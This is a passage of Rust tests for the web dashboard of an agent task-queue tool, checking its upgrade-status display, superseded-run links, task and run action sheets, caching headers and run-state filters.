14954 fn the_upgrade_button_names_its_destination() {
14955 assert!(
14956 APP_JS.contains("`Update to ${update.to}`"),
14957 "pressing the button should not be a surprise about what it moves to"
14958 );
14959 }
14960
14961 #[test]
14962 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14963 for stage in ["downloading", "replaced", "parking", "restarting"] {
14964 assert!(
14965 APP_JS.contains(&format!("\"{stage}\"")),
14966 "the phone must be able to tell {stage} apart from the others"
14967 );
14968 }
14969 assert!(APP_JS.contains(".waiting_on"));
14970 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14975 assert!(APP_JS.contains("reconnects on its own"));
14976 }
14977
14978 #[test]
14979 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14980 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14989 ..APP_JS.find("function upgrade(").expect("upgrade")];
14990 assert!(
14991 !body.contains(
14992 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14993 ),
14994 "a failed upgrade must not take the whole strip over the way it used to"
14995 );
14996 assert!(
14997 body.contains("upgradeFailNote"),
14998 "the failure has to reach the loop's own note instead"
14999 );
15000 assert_eq!(
15004 body.matches("upgradeFailNote].filter(Boolean).join")
15005 .count(),
15006 2,
15007 "both loop-why writers (quiet and control) must fold the note in"
15008 );
15009 }
15010
15011 #[test]
15012 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15013 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15016 assert!(APP_JS.contains("function upgradeOverdue("));
15017 }
15018
15019 #[test]
15020 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15021 assert!(
15022 APP_JS.contains("Updated to ${upgradeInfo.to"),
15023 "the operator who asked for the restart wants to know it worked"
15024 );
15025 }
15026
15027 #[test]
15028 fn an_error_is_visible_from_where_the_button_is() {
15029 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15034 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15035 assert!(
15036 alert.contains("position: fixed"),
15037 "an error about the thing under your thumb has to be visible from \
15038 where your thumb is: {alert}"
15039 );
15040 assert!(
15041 alert.contains("z-index: 25"),
15042 "above the dock (20) and the run-actions FAB (15), so neither \
15043 buries it: {alert}"
15044 );
15045 assert!(
15046 alert.contains("var(--tap)"),
15047 "and clear of the dock and the home indicator: {alert}"
15048 );
15049 assert!(
15052 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15053 "the FAB's column stays free: {alert}"
15054 );
15055 }
15056
15057 #[tokio::test]
15058 async fn an_older_attempt_says_what_replaced_it() {
15059 let fx = Fixture::start().await;
15060 let q = fx.queue();
15061 let runs = fx.runs();
15062 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15063 write_run(&runs, first, RunStatus::Stalled);
15064 write_run(&runs, second, RunStatus::Blocked);
15065
15066 let mut t = Task::new(
15067 "one task".to_owned(),
15068 "do it".to_owned(),
15069 PathBuf::from("/repo"),
15070 Source::Human,
15071 );
15072 t.runs = vec![first.to_owned(), second.to_owned()];
15073 q.put(&mut t).expect("put");
15074
15075 let rows = fx.get("/api/runs").await.json();
15079 let by = |short: &str| -> Value {
15080 rows.as_array()
15081 .unwrap()
15082 .iter()
15083 .find(|r| r["short"] == short)
15084 .cloned()
15085 .unwrap_or(Value::Null)
15086 };
15087 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15088 assert!(
15089 by("bbbb")["superseded_by"].is_null(),
15090 "the latest attempt is not superseded by anything"
15091 );
15092 assert!(APP_JS.contains("run.superseded_by"));
15094 assert!(APP_JS.contains("Superseded by"));
15095 }
15096
15097 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15098 let mut t = Task::new(
15099 "one task".to_owned(),
15100 "do it".to_owned(),
15101 PathBuf::from("/repo"),
15102 Source::Human,
15103 );
15104 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15105 t.status = status;
15106 t
15107 }
15108
15109 #[test]
15110 fn source_link_picks_the_page_that_filed_the_task() {
15111 let agent = |node: &str| Source::Agent {
15112 run: "20260904-014455-ab12".to_owned(),
15113 node: node.to_owned(),
15114 };
15115 let chat = source_link(&agent("chat")).expect("chat link");
15116 assert_eq!(chat.kind, "chat");
15117 assert_eq!(chat.id, "20260904-014455-ab12");
15118 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15119 let run = source_link(&agent("implement")).expect("run link");
15120 assert_eq!(
15121 (run.kind, run.href.as_str()),
15122 ("run", "#/runs/20260904-014455-ab12")
15123 );
15124 assert_eq!(source_link(&Source::Human), None);
15125 assert_eq!(
15126 source_link(&Source::Issue {
15127 number: 3,
15128 repo: "o/r".to_owned()
15129 }),
15130 None
15131 );
15132 let odd = source_link(&Source::Agent {
15133 run: "a b/c".to_owned(),
15134 node: "chat".to_owned(),
15135 })
15136 .expect("link");
15137 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15138 }
15139
15140 #[test]
15141 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15142 assert!(
15143 !APP_JS.contains("src.node === \"chat\""),
15144 "inline href rule is back"
15145 );
15146 assert!(
15147 APP_JS.matches("sourceLinkOf(").count() >= 4,
15148 "helper must serve every page"
15149 );
15150 assert!(
15151 APP_JS.matches("openChatLink(").count() >= 3,
15152 "the run page still needs its explicit chat link"
15153 );
15154 assert!(
15155 !APP_JS.contains("const openChat = el("),
15156 "the Queue card duplicates its source label link again"
15157 );
15158 assert!(
15159 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15160 "the task page must link a chat source label too"
15161 );
15162 }
15163
15164 #[test]
15165 fn task_ref_carries_the_source_link_for_a_chat_task() {
15166 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15167 t.source = Source::Agent {
15168 run: "20260904-014455-ab12".to_owned(),
15169 node: "chat".to_owned(),
15170 };
15171 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15172 let v = serde_json::to_value(&out).expect("json");
15173 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15174 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15175 assert_eq!(v["source_label"], t.source.label());
15176
15177 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15178 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15179 .expect("json");
15180 assert!(v["source_link"].is_null(), "{v}");
15181 }
15182
15183 #[test]
15184 fn task_view_serializes_source_link() {
15185 let mut t = Task::new(
15186 "t".to_owned(),
15187 "t".to_owned(),
15188 PathBuf::from("/repo"),
15189 Source::Agent {
15190 run: "20260901-000000-aaaa".to_owned(),
15191 node: "implement".to_owned(),
15192 },
15193 );
15194 t.runs.clear();
15195 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15196 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15197 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15198 }
15199
15200 #[tokio::test]
15201 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15202 let fx = Fixture::start().await;
15203 let runs = fx.runs();
15204 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15205 write_run(&runs, old, RunStatus::Blocked);
15206 write_run(&runs, new, RunStatus::Merged);
15207 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15208 fx.queue().put(&mut t).expect("put");
15209
15210 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15211 let task = &view["task"];
15212 assert_eq!(task["status"], "done");
15213 assert_eq!(task["is_latest"], false);
15214 assert_eq!(task["latest"]["short"], "bbbb");
15215 assert_eq!(task["finished_by"]["id"], new);
15216 assert_eq!(task["finished_by"]["outcome"], "merged");
15217 assert_eq!(task["closed_by_hand"], false);
15218 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15219 assert!(APP_JS.contains("finished_by"));
15220 assert!(APP_JS.contains("superseded by run"));
15221 }
15222
15223 #[tokio::test]
15224 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15225 let fx = Fixture::start().await;
15226 let runs = fx.runs();
15227 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15228 write_run(&runs, old, RunStatus::Stalled);
15229 write_run(&runs, new, RunStatus::Blocked);
15230 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15231 fx.queue().put(&mut t).expect("put");
15232
15233 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15234 assert_eq!(task["status"], "held");
15235 assert_eq!(task["is_latest"], true);
15236 assert!(task["latest"].is_null());
15237 assert!(task["finished_by"].is_null());
15238 assert_eq!(task["closed_by_hand"], false);
15239 }
15240
15241 #[tokio::test]
15242 async fn a_direct_run_has_no_task_outcome() {
15243 let fx = Fixture::start().await;
15244 let runs = fx.runs();
15245 let id = "20260901-000000-aaaa";
15246 write_run(&runs, id, RunStatus::Blocked);
15247 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15248 assert!(view["task"].is_null());
15249 }
15250
15251 #[test]
15252 fn task_outcome_does_not_guess_a_finishing_run() {
15253 let a = "20260901-000000-aaaa";
15254 let b = "20260901-000000-bbbb";
15255 let c = "20260901-000000-cccc";
15256 let dir = tempfile::tempdir().expect("tempdir");
15257 write_run(dir.path(), a, RunStatus::Blocked);
15258 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15259 let read = |id: &str| read_run(dir.path(), id).ok();
15261 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15264 let out = task_outcome(&t, a, 3, read);
15265 assert!(out.finished_by.is_none());
15266 assert!(out.closed_by_hand);
15267 let latest = out.latest.expect("latest");
15268 assert_eq!(latest.id, c);
15269 assert_eq!(latest.status, None);
15270 assert_eq!(latest.outcome, "record unreadable");
15271
15272 write_run(dir.path(), c, RunStatus::Ready);
15274 let t = outcome_task(&[a, c], TaskStatus::Done);
15275 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15276 assert_eq!(out.finished_by.expect("finisher").id, c);
15277 assert!(!out.closed_by_hand);
15278
15279 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15281 assert!(task_outcome(&t, a, 3, read).is_latest);
15282 }
15283
15284 #[tokio::test]
15285 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15286 let fx = Fixture::start().await;
15291 let q = fx.queue();
15292 let runs = fx.runs();
15293 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15294 write_run(&runs, first, RunStatus::Blocked);
15295 write_run(&runs, second, RunStatus::Merged);
15296
15297 let mut t = Task::new(
15298 "one task".to_owned(),
15299 "do it".to_owned(),
15300 PathBuf::from("/repo"),
15301 Source::Human,
15302 );
15303 t.runs = vec![first.to_owned(), second.to_owned()];
15304 q.put(&mut t).expect("put");
15305
15306 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15307 assert_eq!(earlier["superseded_by"], "dddd");
15308 assert_eq!(earlier["latest_attempt"]["id"], second);
15309 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15310 assert_eq!(
15311 earlier["latest_attempt"]["resolved"], true,
15312 "the run that replaced it landed, so this one reads as settled"
15313 );
15314
15315 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15316 assert!(
15317 later["superseded_by"].is_null(),
15318 "the latest attempt is not superseded by anything"
15319 );
15320 assert!(
15321 later["latest_attempt"].is_null(),
15322 "the latest attempt has no later attempt of its own"
15323 );
15324
15325 assert!(APP_JS.contains("run.latest_attempt"));
15332 assert!(APP_JS.contains("data-superseded"));
15333 assert!(APP_JS.contains("#/runs/${latest.id}"));
15334 }
15335
15336 #[tokio::test]
15337 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15338 let fx = Fixture::start().await;
15344 let q = fx.queue();
15345 let runs = fx.runs();
15346 let (a, b, c) = (
15347 "20260901-000000-aaaa",
15348 "20260901-000000-bbbb",
15349 "20260901-000000-cccc",
15350 );
15351 write_run(&runs, a, RunStatus::Blocked);
15352 write_run(&runs, b, RunStatus::Blocked);
15353 write_run(&runs, c, RunStatus::Merged);
15354
15355 let mut t = Task::new(
15356 "retried twice".to_owned(),
15357 "do it".to_owned(),
15358 PathBuf::from("/repo"),
15359 Source::Human,
15360 );
15361 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15362 q.put(&mut t).expect("put");
15363
15364 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15365 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15366 assert_eq!(
15367 view["latest_attempt"]["id"], c,
15368 "the chain's current head, not the intermediate Blocked retry"
15369 );
15370 assert_eq!(view["latest_attempt"]["resolved"], true);
15371
15372 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15373 assert_eq!(mid["latest_attempt"]["id"], c);
15374 assert_eq!(mid["latest_attempt"]["resolved"], true);
15375 }
15376
15377 #[tokio::test]
15378 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15379 let fx = Fixture::start().await;
15380 let q = fx.queue();
15381 let runs = fx.runs();
15382
15383 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15386 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15387 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15388 let mut t1 = Task::new(
15389 "still stuck".to_owned(),
15390 "do it".to_owned(),
15391 PathBuf::from("/repo"),
15392 Source::Human,
15393 );
15394 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15395 q.put(&mut t1).expect("put");
15396 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15397 assert_eq!(view1["latest_attempt"]["resolved"], false);
15398 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15399 assert_eq!(view1["latest_attempt"]["done"], true);
15400
15401 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15403 write_run(&runs, run_a, RunStatus::Blocked);
15404 write_run(&runs, run_b, RunStatus::Implementing);
15405 let mut t3 = Task::new(
15406 "retrying".to_owned(),
15407 "do it".to_owned(),
15408 PathBuf::from("/repo"),
15409 Source::Human,
15410 );
15411 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15412 q.put(&mut t3).expect("put");
15413 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15414 assert_eq!(view3["latest_attempt"]["id"], run_b);
15415 assert_eq!(view3["latest_attempt"]["resolved"], false);
15416 assert_eq!(view3["latest_attempt"]["done"], false);
15417
15418 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15423 write_run(&runs, noop_a, RunStatus::Blocked);
15424 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15425 let mut t2 = Task::new(
15426 "claims done".to_owned(),
15427 "do it".to_owned(),
15428 PathBuf::from("/repo"),
15429 Source::Human,
15430 );
15431 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15432 q.put(&mut t2).expect("put");
15433 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15434 assert_eq!(
15435 view2["latest_attempt"]["resolved"], false,
15436 "an unverified no-op claim must not read as a confirmed finish"
15437 );
15438
15439 assert!(APP_JS.contains("latest.resolved"));
15442 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15445 assert!(APP_JS.contains("Latest attempt: "));
15446 assert!(APP_JS.contains("in flight"));
15447 assert!(APP_JS.contains("not resolved"));
15448 }
15449
15450 #[tokio::test]
15451 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15452 let fx = Fixture::start().await;
15453 let js = fx.get("/app.js").await;
15459 assert_eq!(js.status, 200);
15460 let tag = js
15461 .header("etag")
15462 .expect("an etag to revalidate against")
15463 .to_owned();
15464 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15465 assert_eq!(
15466 js.header("cache-control"),
15467 Some("no-cache, must-revalidate"),
15468 "the phone has to ask every time"
15469 );
15470
15471 let again = fx
15474 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15475 .await;
15476 assert_eq!(
15477 again.status, 304,
15478 "a deck it already has costs one round trip"
15479 );
15480 assert!(again.body.is_empty(), "304 carries no body");
15481
15482 let weak = fx
15485 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15486 .await;
15487 assert_eq!(weak.status, 304);
15488 let stale = fx
15489 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15490 .await;
15491 assert_eq!(stale.status, 200, "an older build must be replaced");
15492 assert!(stale.body.contains("renderRunActions"));
15493 }
15494
15495 #[test]
15496 fn the_task_detail_has_an_actions_fab_and_sheet() {
15497 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15498 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15499 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15500 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15502 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15503 assert!(APP_JS.contains("renderTaskActions(task);"));
15505 assert!(APP_JS.contains("renderTaskActions(null);"));
15506 let sheet = APP_JS
15508 .find("function renderTaskActions")
15509 .expect("sheet renderer");
15510 let body = &APP_JS[sheet..sheet + 3000];
15511 assert!(body.contains("changePriority("));
15512 assert!(body.contains("openTaskEdit(task)"));
15513 assert!(body.contains("renderTaskHoldBox(host"));
15514 assert!(body.contains("renderTaskDoneBox(host"));
15515 assert!(body.contains("renderTaskDeleteBox(host"));
15516 assert!(APP_JS.contains("API.priority(id)"));
15517 assert!(APP_JS.contains("API.deleteTask(id)"));
15518 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15520 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15522 }
15523
15524 #[test]
15525 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15526 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15527 let actions = INDEX_HTML
15528 .find("id=\"run-actions-box\"")
15529 .expect("actions box");
15530 assert!(task < actions, "the task entry comes first in the sheet");
15531 assert!(APP_JS.contains("renderRunTaskEntry"));
15532 assert!(APP_JS.contains("\"Open task \""));
15533 assert!(APP_JS.contains("started directly, no task"));
15535 assert!(APP_JS.contains("sheet-task-link"));
15536 assert!(APP_JS.contains("task-chip-link"));
15537 }
15538
15539 #[test]
15540 fn the_deck_never_sends_the_operator_to_a_terminal() {
15541 assert!(
15544 !APP_JS.contains("Run `magi fold` first"),
15545 "the deck must offer the fold, not prescribe a shell command"
15546 );
15547 assert!(APP_JS.contains("foldRun:"));
15548 assert!(APP_JS.contains("resumeRun:"));
15549 assert!(APP_JS.contains("renderRunActions"));
15550
15551 assert!(APP_JS.contains("armedFold"));
15553 assert!(APP_JS.contains("Yes, fold worktrees"));
15554
15555 assert!(APP_JS.contains("can no longer be resumed"));
15558 }
15559
15560 #[test]
15561 fn a_finished_run_explains_itself_with_its_own_last_line() {
15562 assert!(
15568 !APP_JS.contains("collapsed on agent quota"),
15569 "a stall must not be explained by a cause the deck did not check"
15570 );
15571 assert!(
15572 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15573 "and a block must not offer a guess with an `or` in it"
15574 );
15575
15576 assert!(
15580 APP_JS.contains("setText(r.event, run.event || \"\")"),
15581 "the run's last line is rendered unconditionally"
15582 );
15583 assert!(
15584 !APP_JS.contains("moving && run.event"),
15585 "and never gated on the run still moving"
15586 );
15587
15588 assert!(APP_JS.contains("lost to quota"));
15590 }
15591
15592 #[test]
15614 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15615 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15616 let shapes_body_start =
15617 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15618 let shapes_close = APP_JS[shapes_body_start..]
15619 .find("].map(")
15620 .expect("the shape list is closed by its done-computing .map(...)")
15621 + shapes_body_start;
15622 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15623
15624 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15625 for entry in shapes_src.split('{').skip(1) {
15626 let waiting = entry.contains("waiting: true");
15627 let dead = entry.contains("live: \"dead\"");
15628 let status_at =
15629 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15630 let status_end = entry[status_at..]
15631 .find('"')
15632 .expect("the status string is closed")
15633 + status_at;
15634 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15635 }
15636 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15637
15638 let done_rule_marker = "done: !";
15642 let done_rule_at = APP_JS[shapes_close..]
15643 .find(done_rule_marker)
15644 .expect("the done rule follows the shape list")
15645 + shapes_close
15646 + done_rule_marker.len();
15647 let includes_at = APP_JS[done_rule_at..]
15648 .find(".includes(shape.status)")
15649 .expect("the done rule ends in .includes(shape.status)")
15650 + done_rule_at;
15651 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15652 .trim()
15653 .trim_start_matches('[')
15654 .trim_end_matches(']')
15655 .split(',')
15656 .map(|s| s.trim().trim_matches('"'))
15657 .filter(|s| !s.is_empty())
15658 .collect();
15659
15660 let shapes: Vec<(bool, String, bool, bool)> = shapes
15661 .into_iter()
15662 .map(|(waiting, status, dead)| {
15663 let done = !not_done.contains(&status.as_str());
15664 (waiting, status, dead, done)
15665 })
15666 .collect();
15667
15668 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15672 if waiting {
15673 return "waiting";
15674 }
15675 if dead
15676 && !matches!(
15677 status,
15678 "merged"
15679 | "ready"
15680 | "stalled"
15681 | "blocked"
15682 | "failed"
15683 | "verified_noop"
15684 | "superseded"
15685 | "already_in_base"
15686 )
15687 {
15688 return "stale";
15689 }
15690 match status {
15691 "merged" | "ready" => "landed",
15692 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15693 | "already_in_base" => "ended",
15694 _ => "flight",
15695 }
15696 }
15697
15698 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15701 match filter_key {
15702 "active" => !done,
15703 "flight" => !done && !waiting && !dead,
15704 "stale" => !done && !waiting && dead,
15705 "waiting" => waiting,
15706 "done" => done,
15707 "all" => true,
15708 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15709 }
15710 }
15711
15712 let compatible = |section: &str, filter_key: &str| {
15713 shapes.iter().any(|(waiting, status, dead, done)| {
15714 run_section(*waiting, status, *dead) == section
15715 && filter_matches(filter_key, *waiting, *dead, *done)
15716 })
15717 };
15718
15719 let expected = [
15724 ("waiting", [true, false, false, true, true, true]),
15725 ("stale", [true, false, true, false, false, true]),
15726 ("flight", [true, true, false, false, false, true]),
15727 ("landed", [false, false, false, false, true, true]),
15728 ("ended", [false, false, false, false, true, true]),
15729 ];
15730 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15731
15732 for (section, wants) in expected {
15733 for (filter_key, want) in filter_keys.iter().zip(wants) {
15734 assert_eq!(
15735 compatible(section, filter_key),
15736 want,
15737 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15738 );
15739 }
15740 }
15741
15742 assert!(
15745 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15746 );
15747 assert!(APP_JS.contains(
15748 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15749 ));
15750 assert!(APP_JS.contains(
15751 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15752 ));
15753 }
15754
15755 #[tokio::test]
15756 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15757 let dir = tempfile::tempdir().expect("tempdir");
15761 let explicit = dir.path().join("not-a-checkout");
15762 std::fs::create_dir_all(&explicit).expect("create dir");
15763 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15764
15765 let missing = dir.path().join("does-not-exist-at-all");
15766 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15767 }
15768
15769 #[test]
15770 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15771 assert!(APP_JS.contains("function statsDonutArcs"));
15772 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15773 assert!(APP_JS.contains("function statusInBucket"));
15775 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15776 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15777 let buckets = [
15778 "merged",
15779 "ready",
15780 "in_progress",
15781 "blocked",
15782 "failed",
15783 "verified_noop",
15784 "superseded",
15785 "stalled",
15786 ];
15787 for key in buckets {
15788 let var = format!("--verdict-{key}:");
15789 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15791 assert!(
15792 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15793 "{key}"
15794 );
15795 }
15796 }
15797}